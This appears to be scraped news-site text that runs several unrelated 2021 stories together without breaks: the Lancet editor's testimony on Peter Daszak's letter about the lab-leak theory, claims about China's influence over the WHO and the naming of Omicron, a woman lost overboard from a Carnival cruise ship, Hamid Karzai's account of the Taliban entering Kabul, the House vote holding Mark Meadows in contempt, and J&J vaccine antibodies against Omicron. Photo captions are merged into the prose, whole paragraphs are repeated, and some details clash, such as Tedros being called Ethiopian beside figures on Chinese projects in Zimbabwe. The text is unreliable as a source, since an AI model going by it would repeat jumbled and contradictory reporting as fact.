During the same session, the editor of the Lancet Richard Horton was forced to explain why he allowed the publication of a letter denouncing the lab leak theory as a conspiracy, despite its lead author having financial affiliations to the WIV. Mr Horton said he found out about Dr Peter Daszak's link 'very quickly' after the Lancet published the letter in February last year. Dr Daszak persuaded 26 other scientists to sign off on the letter he had written claiming the virus could only have been natural in origin and to suggest otherwise creates 'fear, rumours, and prejudice'. But the EcoHealth Alliance boss was revealed to have been funneling US tax-payer funds into the Wuhan lab, which investigated and modified coronaviruses before the pandemic. The Lancet published an addendum to the letter in June this year 16 months after it was initially published acknowledging Dr Dazak's competing interests. Virologist Shi Zheng-li works with her colleague in the P4 lab of the Wuhan Institute of Virology in Hubei province A May 2021 report from The Wall Street Journal cited an undisclosed intelligence report detailing how three scientists from China's Wuhan Institute of Virology sought hospital care in November 2019, months before China disclosed the outbreak President Xi is alleged to have significant influence over WHO director-general Tedros Adhanom Ghebreyesus, a former Ethiopian minister whose country has been a major recipient of Chinese investment Richard Horton (left), the editor of the Lancet, admitted he knew about the lead author behind a letter denouncing the Covid lab-leak theory Peter Daszak's (right) Chinese affiliations more than a year before the journal published an addendum DID COVID LEAK FROM A WUHAN LAB? THE EVIDENCE FOR AND AGAINST Evidence for Wuhan lab-leak theory An article in the respected Science journal on May 14 kick-started the surge in interest for the lab-leak theory. Some 18 experts wrote in the journal that 'we must take hypotheses about both natural and laboratory spillovers seriously until we have sufficient data'. Later that month, a study by British Professor Angus Dalgleish and Norwegian scientist Dr Birger Srensen claimed it had 'prima facie evidence of retro-engineering in China' for a year. The study included accusations of 'deliberate destruction, concealment or contamination of data' at Chinese labs. It followed statements from the WHO Director General, US and EU that greater clarity about the origins of this pandemic is necessary and feasible to achieve. Previously, the theory had been dismissed as conspiracy by most experts, partly because of its association with President Donald Trump. President Joe Biden in May ordered a full investigation into the origin of the pandemic virus and demanded scientists work out whether there is truth to the theory. The head of the World Health Organization insisted just a day earlier that the theory that Covid emerged from a Wuhan lab has not been ruled out as he said China should help solve the mystery out of 'respect' for the dead. The body's director-general, Dr Tedros Adhanom Ghebreyesus, suggested that Beijing had not cooperated fully as he urged more 'transparency' in the continuing investigation. Evidence against the theory Several other sects of the scientific community continue to suggest the virus could only be natural in origin. A series of recent papers pointed to the virus evolving in animals before being transmitted to humans, in the same way as all other previously discovered coronaviruses. The first study, published in Scientific Reports, showed some 47,000 wild animals from 38 species were sold across four markets in Wuhan between May 2017 and November 2019. The authors, including Dr Chris Newman, an evolutionary ecologist at Oxford University, claimed the evidence showed the conditions for animal-to-human transmission were in place in Wuhan. But they acknowledged there was no proof Sars-CoV-2 was present or originated in any of these animals. A joint World Health Organization-China investigation also concluded it was 'very likely' the virus jumped from bats to humans via an as-yet-unknown intermediary animal. Advertisement Dr Chan added: 'We know this virus (Covid) has a unique feature, called the furin cleavage site, and without this feature there is no way this would be causing this pandemic. 'A proposals was leaked showing that EcoHealth and the Wuhan Institute of Virology were developing a pipeline for inserting novel furin cleavage sites. So, you find these scientists who said in early 2018 'I'm going to put horns on horses' and at the end of 2019 a unicorn turns up in Wuhan city.' Lord Ridley said: 'I also think it's more likely than not because we have to face the fact after two months we knew the origins of SARS, and after a couple of months we knew MERS was though through camels, but after two years we still haven't found a single infected animal that could be the progenitor, and that's incredibly surprising. 'We need to find out so we can prevent the next pandemic. We need to know whether we should be tightening up work in laboratories or whether we should be tightening up regulations related to wildlife markets. At the moment we are really not doing either. 'We also need to know to deter bad actors who are watching this episode and thinking that unleashing a pandemic is something they could get away with.' A May 2021 report from The Wall Street Journal cited an undisclosed intelligence report detailing how three scientists from China's Wuhan Institute of Virology (WIV) sought hospital care in November 2019, months before China disclosed the Covid pandemic. The lab specialised in engineering dangerous coronaviruses and is the only level four biochemical lab in China. An article in the respected Science journal on May 14 kick-started the surge in interest for the lab-leak theory. Some 18 experts wrote in the journal that 'we must take hypotheses about both natural and laboratory spillovers seriously until we have sufficient data'. Later that month, a study by British Professor Angus Dalgleish and Norwegian scientist Dr Birger Srensen claimed it had 'prima facie evidence of retro-engineering in China' for a year. The study included accusations of 'deliberate destruction, concealment or contamination of data' at Chinese labs. It followed statements from the WHO Director General, US and EU that greater clarity about the origins of this pandemic is necessary and feasible to achieve. Previously, the theory had been dismissed as conspiracy by most experts, partly because of its association with Donald Trump. President Joe Biden in May ordered a full investigation into the origin of the pandemic virus and demanded scientists work out whether there is truth to the theory. The head of the WHO insisted just a day earlier that the theory that Covid emerged from a Wuhan lab has not been ruled out as he said China should help solve the mystery out of 'respect' for the dead. The body's director-general, Dr Tedros Adhanom Ghebreyesus, suggested that Beijing had not cooperated fully as he urged more 'transparency' in the continuing investigation. However, several other sects of the scientific community continue to suggest the virus could only be natural in origin. A series of recent papers pointed to the virus evolving in animals before being transmitted to humans, in the same way as all other previously discovered coronaviruses. The first study, published in Scientific Reports , showed some 47,000 wild animals from 38 species were sold across four markets in Wuhan between May 2017 and November 2019. The authors, including Dr Chris Newman, an evolutionary ecologist at Oxford University, claimed the evidence showed the conditions for animal-to-human transmission were in place in Wuhan. But they acknowledged there was no proof Sars-CoV-2 was present or originated in any of these animals. A joint WHO-China investigation also concluded it was 'very likely' the virus jumped from bats to humans via an as-yet-unknown intermediary animal. How British expert Dr Peter Daszak orchestrated a 'bullying' campaign A British expert orchestrated a behind-the-scenes 'bullying' campaign to ensure blame for Covid was directed away from a Chinese lab with which he had worked closely. Dr Peter Daszak, 55, from Manchester, persuaded 26 other scientists to sign off on a letter he had written to world-leading scientific journal The Lancet claiming the virus could only have been natural in origin and to suggest otherwise creates 'fear, rumours, and prejudice'. The letter flatly denied the virus could have originated in a lab in Wuhan and dismissed it as a 'conspiracy theory'. Dr Daszak runs the New York-based, tax payer-funded non-profit EcoHealth Alliance, which has funnelled hundreds of thousands of dollars to the Wuhan Institute of Virology. He worked closely with the lab's so-called 'bat woman' Shi Zhengli as they investigated and modified coronaviruses. Shi, 57, proved that horseshoe bats were behind a SARS virus that killed nearly 800 people in 2002 and has collected thousands of samples from bat caves. Dr Daszak was one four Brits to sign the letter, including SAGE advisor Sir Jeremy Farrar and two other experts working for the Welcome Trust at the time. The letters' signatories included four others who worked for EcoHealth. The letter was seen as so influential it cowed most experts into refusing even to consider that the virus could have been man-made and escaped from the Wuhan Institute. Advertisement Lord Ridley slammed the Lancet for a 'lack of transparency', with Dr Daszak's links to the lab and role in orchestrating the letter only being revealed after it was leaked. In the grilling with MPs, Dr Horton insisted he did not know about the scientist's connections to the lab's so-called 'bat woman' Shi Zhengli who did experimental research on coronaviruses coming from thousands of samples from the animal until after the letter was published. But he admitted that his opinion on the theory has now changed, calling it a 'valid hypothesis that requires investigation'. Dr Horton said the Lancet usually takes authors' declarations of interest at face value. He said: 'In this case regrettably the authors claimed they had no interest but there were indeed competing interests that were significant, particularly in relation to Peter Daszak. 'We weren't aware of those competing interests but we became very quickly aware of them afterwards because he was subject to considerable public criticism.' Dr Horton said he and Dr Daszak disagreed on whether there was a conflict of interest, with the latter claiming his links to the lab made him an expert on the topic. Quizzed on why it took so long to reveal the nature of Dr Daszak's connections, he insisted this disagreement was behind the delays. And he claimed the journal does not have enough staff or time to investigate the background of all the authors who are published in it. He said: 'In this case, I think Dr Daszak should have declared his interest at the beginning.' The editor admitted the information revealed in June should have been included in the original February letter. Tory MP Aaron Bell slammed Dr Horton for taking so long to reveal Dr Daszak's links to the lab. He said: 'When you appeared before us before Dr Horton, you expressed the need for things to move quickly in the pandemic. 'This seems to have taken far too long. 'I hope Dr Daszak will be able to come and give evidence to this committee in future so he can explain for himself why he delayed your enquiry into his conflict of interest for so long.' Dr Horton added that the World Health Organization's investigation into the lab which in March this year concluded that the leak theory was one of four valid hypotheses for Covid's origins had changed his mind that it was impossible for the virus to have come from anything other than natural origin. But he said he agreed with the organisation's assertion that it was an unlikely hypothesis despite acknowledging that the investigation was hampered by Chinese authorities. Asked to provide a percentage figure on his confidence in the theory, he said: 'I agree with the World Health Organization that it's a valid hypothesis that requires investigation but is extremely unlikely.' Lord Ridley slammed Dr Daszak for not revealing his direct role in funding controversial gain-of-function research which manipulates viruses to make them more transmissible and deadly and is illegal in Europe at the lab until the information was leaked. Security personnel keep watch outside the Wuhan Institute of Virology during the visit by the WHO team tasked with investigating the origins of Covid, February 3, 2021 World Health Organisation 'bowed to China' by skipping a letter in the Greek alphabet when naming the new Covid variant The World Health Organisation has been accused of bowing to China by skipping a letter in the Greek alphabet when naming the new Covid variant. The agency on Friday announced that it would be calling the new strain Omicron jumping over the letter Xi, which is also the name of China's premier Xi Jinping. The WHO said its decision was based on Xi being a 'common surname' and to avoid either 'stigma' or the risk of causing offence to 'cultural, social, national, regional, professional or ethnic groups'. But critics said the decision provided yet more evidence that the WHO is 'scared' of the Chinese Communist Party. It has already been accused of overseeing a whitewash inquiry into the origins of the pandemic in the Chinese city of Wuhan and of ignoring evidence suggesting it may have started in a laboratory there. President Xi is famously thin-skinned and is even said to have banned the character Winnie the Pooh in China after critics pointed out his resemblance to the bear. The WHO began naming new variants after characters in the Greek alphabet rather than by the place in which they emerged in May on the basis that they are 'easy to pronounce and non-stigmatising labels'. Omicron is the fifth mutation to be named as a variant of concern. Other variants such as Epsilon, Lambda and Mu were categorised as 'of interest' so went largely unnoticed outside the scientific community. Texas Senator Ted Cruz tweeted: 'If the WHO is this scared of the Chinese Communist Party, how can they be trusted to call them out the next time they're trying to cover up a catastrophic global pandemic?' Advertisement And he said it was 'extraordinary' that Dr Daszak's role in orchestrating the Lancet letter was also not revealed until it was revealed by leaked emails. He said: '[Daszak] said to his co-authors that it should not appear to be coming from him or his organisation and he remained on the Lancet commission investigating the origin of Covid for many months thereafter. 'So there has been a significant lack of transparency, not just from the Chinese authorities, but from Western ones as well on this and that does seem to me a huge problem.' Earlier this year, an investigation by The Sunday Times revealed efforts by Beijing to control the WHO's decision making, sabotage investigations and even install officials. The newspaper claims the WHO failed to publicly challenge Chinese misinformation, delayed declaring an international emergency, and discouraged governments from placing travel bans on China to protect its economy. It has also been suggested officials agreed a 'backroom deal' with the Chinese to water down the inquiry into the origins of Covid-19. This meant steering scientists away from the theory coronavirus actually escaped from a Wuhan laboratory, rather than coming from wild animals in a wet market in the city in December 2019. The theory was initially dismissed as 'extremely unlikely' by the WHO but now experts say there might have been 'human error' at the lab. Central to the paper's claims is that close ties between the WHO's leadership and China had impacted on its ability to challenge the country over the emergence of the virus. It is suggested China has for some time been using financial leverage over poorer nations to install its preferred figures into key roles at the WHO as well as other UN-governed bodies. Chief among the decision makers at the WHO is Tedros, who is a long-time friend of China. He visited President Xi in January 2020, two months before the pandemic began. Between 2000 and 2012, there were around 130 official Chinese finance projects in Zimbabwe, with some totalling hundreds of million of pounds to build hydroelectric dams and provide agricultural machinery. In June last year, Zimbabwe was one of 53 countries to back the Hong Kong national security law at the United Nations, derided by Western nations as a clampdown on protestors and free speech by China. Professor Richard Ebright, a fellow of America's Infectious Disease Society, told the Times that China's efforts had a 'decisive role' in affecting the agency's failure to act. 'There was no scientific or medical or policy justification for the stance that the WHO took in January and February of 2020. That was entirely premised on maintaining satisfactory ties to the Chinese government,' he said. 'Through that process, the WHO actively resisted and obstructed efforts by other nations to implement effective border controls that could have limited the spread, or even contained the spread of the outbreak.' The support for Tedros especially had a 'remarkably high return on the investment' compared to the funds and influence used to help him get elected. A spokesperson for the organisation hit back at the claims, saying: 'WHO's top priority is ending the acute stage of the Covid-19 pandemic.' They later added: 'The Sunday Times piece is riddled with inaccuracies, falsehoods, half-truths, unsubstantiated assertions, willful distortions and the intentional omission of anything that didn't fit the pre-determined premise of the story. 'There have been several independent reviews of the global response to Covid-19, including the work of WHO, and these reviews note the work of the organisation and the early warnings we issued. 'Frankly, WHO's top priority is ending the acute stage of the COVID-19 pandemic and we are supporting countries to implement comprehensive, evidence-based responses, based on the consistent use of public health measures and the equitable use of life-saving tools including vaccines. 'In particular, we are working to enable all countries to vaccinate health workers, older people and other vulnerable groups, at a time when 75 per cent of vaccinations have taken place in only 10 countries.' The FBI is now investigating how a 25-year-old woman fell into the Pacific Ocean from the balcony of a Carnival cruise ship during a voyage from Long Beach to Mexico. The agency has not revealed the identity of the woman, who is presumed dead, but it sent an evidence response team to the cruise ship when it returned to Long Beach on Sunday. The mother-of-one, who was reportedly travelling with her boyfriend and another family member, fell off from the fifth-floor balcony of her stateroom and into waters about 35 miles off the coast of Ensenada, Mexico. 'I can't believe something happened to her. Sweet young lady, you know. A sweet soul, and she's gone,' Patricia Taylor, who claimed to have met the woman during the three-day voyage, told TODAY. 'And this lady is 25-years-old with a baby. A one-year-old child. That baby [will] never see his mom.' Images shared by passengers, who were awaken at 3.30am on Saturday with calls of 'man overboard' by the crew, show the cordoned-off area of the balcony. 'On the balconies, there are partitions between each stateroom. That piece of privacy metal was down on the deck,' Rod Cardinale told ABC News. A paramedic who was onboard has said there were 'high suspicions of foul play,' and another passenger said damage to the outdoor deck and broken glass could be seen. The FBI is now the lead agency investigating how a '25-year-old' woman fell into the Pacific Ocean from the balcony of a Carnival cruise ship during a sailing from Long Beach to Mexico The mother-of-one, who was reportedly travelling with her boyfriend and another family member, fell off from the fifth-floor balcony of her stateroom and into waters about 35 miles off the coast of Ensenada, Mexico The cruise ship returned to Long Beach on Sunday The Mexican Navy and the Coast Guard assisted in the search on Saturday morning and overnight, but around 10.30am on Sunday, the Southern California USCG announced crews were standing down after 31+ hours of search 'We responded due to the circumstances since we have jurisdiction on the high seas,' the spokesperson for the FBI told FOX. 'Whether accidental, foul play or otherwise, we look for evidence to determine what actually occurred.' The Mexican Navy and the Coast Guard assisted in the search on Saturday morning and overnight, but around 10.30am on Sunday, the Southern California USCG announced crews were standing down after 31+ hours of search. Officials said the unidentified woman was announced missing from the Carnival Miracle cruise ship at around 3.30am on Saturday by the crew. 'I had a balcony so I went outside and looked, and immediately they were throwing life preservers . I threw two of those at the ocean,' Josh Zufelt ABC News. The Miracle left Long Beach on Thursday, December 9, setting sail for port in Ensenada. It was scheduled to return on Saturday, December 11, as part of a three-day voyage, CBS reported. A paramedic onboard said there is suspicions of foul play, and a picture of the deck the woman fell from showed broken pieces of the balcony. Officials said the unidentified woman, who was in her 20s, was announced missing from the Carnival Miracle cruise ship at around 3.30am on Saturday by the crew Images shared by passengers, who were awaken at 3.30am on Saturday with calls of 'man overboard' by the crew, show the cordoned-off area of the balcony A paramedic onboard said there's suspicions of foul play, and a picture of the deck the woman fell from showed broken pieces of the balcony 'I can't believe something happened to her. Sweet young lady, you know. A sweet soul, and she's gone,' said Patricia Taylor, who claimed to have met the woman during the three-day voyage Crews searched the waters and alerted passengers somebody had fallen overboard as soon as they were aware the woman was missing early Saturday morning. The ship, which returned to Long Beach on Sunday, was also searched by the crew on Saturday. The Carnival Miracle cruise ship boasts 12 decks and it has capacity for 2,100 people, but only about 1,100 appeared to be onboard, Daniel Miranda, a passenger onboard during the incident, said. Miranda, who works as a firefighter in Northern California, spoke to the media while the cruise was still on deck in Ensenada. 'About 3am, we were awakened by a general announcement across the ship with a warning going, ''Man overboard! Man overboard! Man overboard!''' Miranda told CBS News. 'So the ship has been given limited information. They told us we were stuck looking for the lady, and then they called us to clear us up. The crews been very tight-lipped and of course, they've had different areas of the ship that have cordoned off for their search when they were searching,' he added. He also told CBS there was suspicion of foul-play. 'Someone has lost their life, whether it was done by accident or by foul play I don't know there's some high suspicion of foul play,' he told ABC 7. 'About 3am, we were awakened by a general announcement across the ship with a warning going, ''Man overboard! Man overboard! Man overboard!''' Daniel Miranda said The Mexican Navy and the Coast Guard assisted in the search on Saturday morning and overnight. The woman reportedly fell off from the fifth-floor balcony of her stateroom and into waters about 35 miles off the coast near Ensenada, Mexico The FBI opened an investigation once the ship arrived to Long Beach on Sunday Passengers after the Carnival Miracle arrived to Long Beach, the were awoken at 3.30am on Saturday by calls of 'man overboard' from the crew 'A lot of people are concerned because that's somebody's life, and that's a high likelihood that this person will not be found alive,' he added. The FBI was waiting to assist in the investigation once the ship arrived to Long Beach. 'They immediately did their best efforts to get crews out on little boats and rescue, to start a search,' Miranda said about the cruise line. USCG used a Fast Response Cutter, a 154-foot patrol boat, and a MH-60 Jayhawk helicopter crew, but officers were transiting back to the US by Sunday. 'They had crew literally around the deck to look all the way around the ship to be able to see if somebody was out in the water. They had lights out in the water trying to flash out there, but again it's pretty dark,' he added. 'On the balconies, there are partitions between each stateroom. That piece of privacy metal was down on the deck,' passenger Rod Cardinale said 'I had a balcony so I went outside and looked, and immediately they were throwing life preservers . I threw two of those at the ocean,' Josh Zufelt said On Saturday, Carnival Cruise Line issued a statement about the incident. 'We advised Carnival Miracle guests this morning of an overboard incident involving one of our guests from the balcony of her stateroom...Our thoughts are with the guest and her family, and our care team is providing support,' the statement read. According to the International Journal of Travel Medicine and Global Health, 58 passengers and 14 crew died after falling overboard between 2001 and 2019. On Christmas Day 2018, 20-year-old Royal Caribbean cruise line crew dance and British citizen Arron Hough went overboard, according to a report. 'We are saddened to report that after a review of the ship's closed-circuit camera footage, he was observed entering an area on Deck 5 at around 4am and was not seen again,' the company said in a statement at the time. Also in 2018, a46-year-old Kay Longstaff fell off a Norwegian Star cruise ship in the middle of the Adriatic Sea, but treaded water for 10 hours and rescuers were able to pull her out of the water. Cruise ships are required to mount advanced overboard systems using infrared cameras to detect when something falls off the ship, but there's little enforcement of the 2010 law, TODAY reported. Former Afghan President Hamid Karzai has claimed the Taliban did not take Kabul but were invited into the capital by him after President Ashraf Ghani fled to avoid 'chaos and looting'. Karzai said Ghani's secret and sudden departure from Afghanistan scuttled a last-minute push that would have seen the Taliban enter the capital as part of a negotiated agreement. Instead, after Ghani fled he invited the group into the city 'to protect the population so that the country, the city doesn't fall into chaos and the unwanted elements who would probably loot the country, loot shops.' Former Afghan President Hamid Karzai has claimed the Taliban did not take Kabul but were invited into the capital by him after President Ashraf Ghani fled to avoid 'chaos and looting' In an Associated Press interview, Karzai, who was the country's president for 13 years after the Taliban were first ousted in the wake of the 9/11 attacks, explained how when Ghani left, his security officials also left. Defence minister Bismillah Khan even asked Karzai if he wanted to leave Kabul when Karzai contacted him to know what remnants of the government still remained. It turned out there were none. Not even the Kabul police chief had remained but Karzai refused to leave. In a wide-ranging interview at his tree-lined compound in the centre of the city where he lives with his wife and young children, Karzai was adamant that Ghani's flight scuttled a last-minute push by himself, the government's chief negotiator Abdullah Abdullah and the Taliban leadership in Doha that would have seen the Taliban enter the capital as part of a negotiated agreement. The countdown to a possible deal began on August 14, the day before the Taliban came to power. Karzai and Abdullah met Ghani, and they agreed that they would leave for Doha the next day with a list of 15 others to negotiate a power-sharing agreement. The Taliban were already on the outskirts of Kabul, but Karzai said the leadership in Qatar promised the insurgent force would remain outside the city until the deal was struck. Karzai, who was the country's president for 13 years after the Taliban were first ousted in the wake of the 9/11 attacks, explained how w hen President Ashraf Ghani (pictured) left, his security officials also left Karzai said he invited the Taliban into Kabul 'to protect the population so that the country, the city doesn't fall into chaos and the unwanted elements who would probably loot Early on the morning of August 15, Karzai said, he waited to draw up the list. The capital was fidgety, on edge. Rumours were swirling about a Taliban takeover. Karzai called Doha. He was told the Taliban would not enter the city. At noon, the Taliban called to say that 'the government should stay in its positions and should not move that they have no intention to [go] into the city,' Karzai said. 'I and others spoke to various officials and assurances were given to us that, yes, that was the case, that the Americans and the government forces were holding firm to the places [and] that Kabul would would not fall.' By about 2.45pm, though, it became apparent Ghani had fled the city. Karzai called the defence minister, called the interior minister, searched for the Kabul police chief. Everyone was gone. 'There was no official present at all in the capital, no police chief, no corps commander, no other units. They had all left.' Ghani's own protection unit's deputy chief called Karzai to come to the palace and take over the presidency. He declined, saying legally he had no right to the job. Instead the former president decided to make a public, televised message, with his children at his side 'so that the Afghan people know that we are all here'. Karzai was adamant that there would have been an agreement for a peaceful transition had Ghani remained in Kabul. 'Absolutely. Absolutely. That is what we were preparing for, what we were hoping (along) with the chairman of the peace council to go to Doha that evening, or the next morning, and to finalise the agreement,' he said. 'And I believe the Taliban leaders were also waiting for us in Doha for the same objective, for the same purpose.' Karzai was adamant that there would have been an agreement for a peaceful transition had Ghani remained in Kabul Today, Karzai meets regularly with the Taliban leadership and says the world must engage with them. Equally important, he said, is that Afghans have to come together. War has dominated Afghanistan for more than 40 years, and in the last 20 years 'Afghans have suffered on all sides,' he said. 'Afghans have lost lives on all sides. The Afghan army has suffered. Afghan police have suffered, the Taliban soldiers have suffered.' He added: 'An end to that can only come when Afghans get together, find their own way out.' The former president has a plan. In his talks with the Taliban, he is advocating the temporary resurrection of the constitution that governed when Afghanistan was a monarchy. The idea was also floated during earlier Doha talks. At the same time, a traditional Loya Jirga a grand council of all Afghans, including women would be convened. It would decide the country's future, including a representative government, a constitution, a national flag. There is no indication the Taliban will accept his formula, though he says they have not rejected it in discussions. In Karzai's talks with the Taliban, he is advocating the temporary resurrection of the constitution that governed when Afghanistan was a monarchy. The idea was also floated during earlier Doha talks Taliban fighter stands guard as Talibans the Higher Education Minister addresses a gathering during a consultative meeting on the group's general higher education policies at the Loya Jirga Hall in Kabul in August A jirga is a centuries-old Afghan tradition for decision-making and is particularly popular among ethnic Pashtuns, which make up the backbone of the Taliban. Karzai said a future Afghanistan has to have universal education rights for boys and girls, and women 'must find their place in the Afghan polity, in the administration, in economic activity and social activity, the political activity in all ways of life. That's an issue on which there cannot be any compromise.' But until it happens, Karzai says, the world has to engage with the Taliban. Afghanistan needs to operate. Government servants have to be paid. Health care facilities need to function. 'Right now, they need to cooperate with the government in any form they can,' said Karzai. who also bemoaned the unchallenged and sometimes wrong international perceptions of the Taliban. He cited claims that women and girls are not allowed outside their homes or require a male companion. 'That's not true. There are girls on the streets women by themselves.' The situation on the ground in Kabul bears this out. Asked to describe the Taliban, Karzai said: 'I would describe them as Afghans, but Afghans who have gone through a very difficult period in their lives as all other Afghans have done for the past 40 years.' We 'have been through an extremely difficult period of our history in which we, the Afghans, have made mistakes on all sides, in which the international community and those who interacted with us have made tremendous mistakes,' Karzai said. 'It's time for all of us to realise that, and to look back at the mistakes that we have all made and to make it better.' Attorney General Merrick Garland's Justice Department faces another politically charged decision of other to indict former White House Chief of Staff Mark Meadows after the House voted Tuesday night to hold him in contempt of Congress. It took less than a month for DOJ to indict former Trump chief White House strategist Steven Bannon after Congress voted to hold him in contempt Oct. 21 in a case where legal experts said the basis for executive privilege that Bannon cited while resisting a subpoena was weaker. With Meadows, who was serving as Trump's top aide during the weeks before and after the Jan. 6th Capitol riot, lawmakers on the Jan. 6th Committee have acknowledged there may be some privilege claims. Although they argued in floor debate Tuesday night that Meadows waived some of them by writing about events, and by handing over thousands of documents during initial cooperation with the House select committee on Jan. 6th. Attorney General Merrick Garland announced an indictment of former chief White House strategist Steve Bannon weeks after the House voted to hold him in contempt. DOJ now must decide whether to charge Mark Meadows as well In their extraordinary rollout, members of the Jan. 6th panel read more texts during floor debate that unidentified Republican lawmakers sent to Meadows amid Trump's election overturn effort. In one newly revealed email, shared by Rep. Jamie Raskin (D-Md.) on the floor, an unidentified Republican called for having states 'just send their own electors' who would back Trump. 'HERES an AGGRESSIVE STRATEGY: WHY can t [sic] the states of GA NC PENN and other R controlled state houses declare this is BS (where conflicts and election not called that night) and just send their own electors to vote and have it go to the SCOTUS,' according to the text which the lawmaker sent to Meadows on Nov. 4, just a day after the 2020 elections, while states were still processing mail and absentee ballots. SCOTUS refers to the Supreme Court, where Trump helped establish a 6-3 conservative majority after pushing through the confirmation of Justice Amy Coney Barrett after the death of Justice Ruth Bader Ginsburg. Rep. Jamie Raskin (D-Md.) read a text from Nov. 4th, while the votes were still being counted, where a lawmaker proposed a plan to have the election decided in the Supreme Court Rep. Zoe Lofgren (D-Calif.) read from texts a Georgia official sent to Meadows Additional text messages were revealed on the House floor as Democrats and Republicans debated the contempt charge 'How did the following text from a House lawmaker influence Trump's plans to overthrow Joe Biden's Electoral College majority of 306 to 232 after Joe Biden beat Donald Trump,' Raskin said. 'How did this text influence the planning of Mark Meadows and Donald Trump to try to destroy the lawful electoral college majority that had been established by the people of the United States and the states for Joe Biden. Those are the kinds of questions that we have a right to ask Mark Meadows,' he continued. The Jan. 6th panel tweeted out that and other texts Tuesday night. 'All of these texts are non-privileged, they are texts that Mark Meadows has turned over. This Committee must get to the objective truth and ensure that January 6th never happens again. And that means Meadows needs to come in and answer questions about these messages,' the panel said. The House voted 222 to 208, with two Republicans joining Democrats, to hold Meadows in contempt of Congress, which refers the matter to DOJ for any charging decision. Meadows ally Jim Jordan referenced the prospect that such a charge, if it leads to a conviction, could land Meadows in jail. He called the resolution 'a vote to put a good man in prison' and blasted the majority for 'treating Mark Meadows as a criminal. Mark meadows is our former colleague. He is a good man and he is my friend. This is as wrong as it gets,' he said. Rep. Liz Cheney (R-Wyo.) said some of Jordan's comments were 'flat false' on the facts, and said Meadows declined to show up for a deposition date that he chose himself. Earlier Tuesday, Cheney had told lawmakers about texts unidentified lawmakers sent to Meadows amid the Capitol riot, while lawmakers were barricaded inside offices and committee rooms. 'It is really bad up here on the Hill,' one wrote him, according to Cheney. 'The president needs to stop this ASAP,' wrote another. 'Fix this now,' wrote a third lawmaker. Jan. 6th committee member Rep. Zoe Lofgren read a message to Meadows sent by an unnamed Georgia state official on January 2. The Georgia election official wrote Meadows during the infamous call where Trump asked Georgia Secretary of State Brad Raffensperger to 'find' 11,780 votes. 'Need to end this call,' the text read. 'I don't think this will be productive for much longer,' read another. Lofgren said lawmakers want to question Meadows about those texts which were among those he handed over. Rep. Elaine Luria cited another text, one of many she said came in from another unidentified lawmaker, which said 'Please check your signal' a reference to a messaging app. 'Those Signal messages are encrypted. Only Mr. Meadows can tell us what they said,' Luria said. South African virologist Penny Moore found the J&J shot provides undetectable antibody response to the Omicron variant A new study has found that Johnson & Johnson's COVID-19 vaccine produced virtually no antibody response to the Omicron variant. South African virologist Penny Moore found that a key measure of antibody levels fell fell from 303 against the original strain to undetectable levels against Omicron in those with the J&J shot, according to Bloomberg. Among those who received the Pfizer shot, the antibody measure, called geometric mean titers, fell from 1,419 against the original coronavirus strain to 80 against Omicron. 'Omicron does indeed exhibit substantial immune escape from antibodies,' she in a presentation on Tuesday. 'The situation, I think, is even more alarming for the J&J vaccine -- there was no detectable neutralization in our assay.' Confirmed US Omicron case numbers sit at 241 as of Wednesday, up 27 per cent from the 189 recorded the day before, according to data from various state reporting bodies. But CDC officials have warned the true scale of Omicron infection is far higher, with around three per cent of all US COVID cases now caused by the variant, or up to 13 per cent in New York and New Jersey. Meanwhile, Cornell University in upstate New York is now suspected of being home to the largest Omicron outbreak in the US so far, with more than 900 infections, which experts anticipate will almost all have been caused by Omicron. The J&J study was conducted under test-tube conditions with human blood plasma and has not yet been published. It does not rule out other immune responses to Omicron in those with the J&J vaccine, such as from powerful T cells. A new study has found that Johnson & Johnson's COVID-19 vaccine produced virtually no antibody response to the Omicron variant Johnson & Johnson did not immediately respond to an inquiry from DailyMail.com on Wednesday and referred Bloomberg to a prior statement saying that the company is closely monitoring Omicron and pursuing an Omicron-specific vaccine. 'The new Omicron variant highlights the importance of continued surveillance, testing and vaccination to prevent hospitalizations and deaths from COVID-19,' J&J executive Mathai Mammen said. Dr Anthony Fauci, the nation's top infectious disease expert, has urged anyone who is eligible to get a vaccine booster, saying it provides better protection against Omicron. The Centers for Disease Control and Prevention recommends boosters for adults two months after receiving the J&J shot, and six months after the last course of Pfizer and Moderna. Roughly 17 million Americans received the J&J shot, accounting for less than 10 percent of vaccinations in the US, and the Pfizer and Moderna shots are far more widespread. According to the CDC, 202 million Americans, or 61 percent of the population, are fully vaccinated. Among those who are fully vaccinated, 27 percent have received a booster shot. CDC modeling shows the prevalence of Omicron (purple) as a percentage of total new cases Omicron appears to spread even more rapidly than prior coronavirus variants, and the CDC estimates that it now accounts for 3 percent of all new cases nationwide. Disturbingly, Omicron is believed to now make up 13 percent of new cases in New York and New Jersey, where infections are climbing quickly. Officially, only 241 Omicron cases have been confirmed across 37 states through DNA sequencing, but the true number is almost certainly many times higher. On Tuesday, CDC officials held a private phone briefing with top public health experts and warned that Omicron could bring a severe wave of cases and hospitalizations to the US as soon as January, according to the Washington Post. The briefing outlined two scenarios, with the worst-case projection involving a 'triple whammy' in which Omicron surges in tandem with the Delta variant and the flu to overwhelm hospitals by next month. The second scenario involves a smaller Omicron surge in the spring. It is unclear which scenario is more likely. 'They're considering the information at the highest levels right now, and thinking through how to get the public to understand what the scenarios mean,' one federal health official familiar with the briefing told the Post. 'It looks daunting.' Omicron and Delta may COMBINE to create an even worse variant, Moderna boss warns A new super-variant could be created if Omicron and Delta infect someone at the same time, one of Moderna's bosses has warned. Covid infections normally only involve one mutant strain, but in extremely rare cases two can strike at the same time. If these also infect the same cell, they may be able to swap DNA and combine to make a new version of the virus. Dr Paul Burton, the vaccine maker's chief medical officer, warned the high numbers of Delta and Omicron cases currently circulating in Britain made this more likely. He told MPs on the Science and Technology Committee that it was 'certainly' possible they could swap genes and trigger an even more dangerous variant. Advertisement American officials are preparing for an Omicron wave as the variant wreaks havoc in Europe. The ultra-transmissible variant is already dominant in London and grim modelling predicting at least 200,000 people are catching it in the UK every day. The UK on Wednesday recorded the highest daily total of lab-confirmed coronavirus cases since the pandemic began. Official figures showed there had been 78,610 new cases recorded as of 9am on Wednesday, a pandemic record. British Prime Minister Boris Johnson will hold a press conference on Wednesday evening as he faces growing pressure from his own advisers to hit the panic button on new restrictions, with warnings that the country's health service is in 'serious peril'. Meanwhile Dutch primary schools will close early for the Christmas holiday as Europe battles a fresh wave of infections and hospital admissions. France on Tuesday registered 63,405 new coronavirus cases -- its highest daily total since April -- even with more than 77 percent of its population having had at least one shot. The United States is the nation hit hardest by the pandemic, and it crossed 800,000 known COVID-19 deaths on Tuesday, according to a Johns Hopkins University tracker. 